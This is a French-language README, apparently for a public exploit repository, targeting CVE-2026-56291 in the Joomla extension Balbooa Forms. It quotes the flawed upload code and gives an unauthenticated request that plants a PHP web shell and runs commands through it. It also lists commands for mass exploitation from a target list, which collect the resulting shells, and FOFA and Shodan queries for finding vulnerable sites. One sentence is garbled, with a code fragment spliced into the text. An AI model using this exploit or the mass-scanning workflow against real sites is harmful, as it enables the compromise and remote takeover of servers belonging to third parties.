
Balbooa Forms (com_baforms) < 2.4.1 — Téléchargement de fichier non authentifié menant à RCE via form.uploadAttachmentFile | CVSS 9.8 | CISA KEV
CVE-2026-56291 est une vulnérabilité critique (CVSS 9.8) de téléchargement arbitraire de fichier non authentifié dans l'extension Joomla Balbooa Forms (com_baforms) (< 2.4.1).
La tâche frontale form.uploadAttachmentFile n'appelle pas Session::checkToken() ni n'effectue aucune vérification de permission. Les fichiers téléchargés utilisent directement l'extension de l'attaquant : . Les fichiers aboutissent dans — directement exécutables en tant que PHP.
$fileName = $name . '.' . $extimages/baforms/uploads/form-{id}/| Version | Statut |
|---|---|
| 1.0 – 2.4.0 | Vulnérable |
| 2.4.1+ | Patché |
CISA KEV: Ajouté le 10 juillet 2026 — exploitation active confirmée.
// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext; // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);
POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE
git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt
python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup
FOFA: body="com_baforms"
Shodan: http.html:"baforms"
| Ressource | Lien |
|---|---|
| CISA KEV | cisa.gov/known-exploited-vulnerabilities |
| Détails du correctif | mysites.guru |
| Chercheur | Phil Taylor |
Non affilié à Balbooa.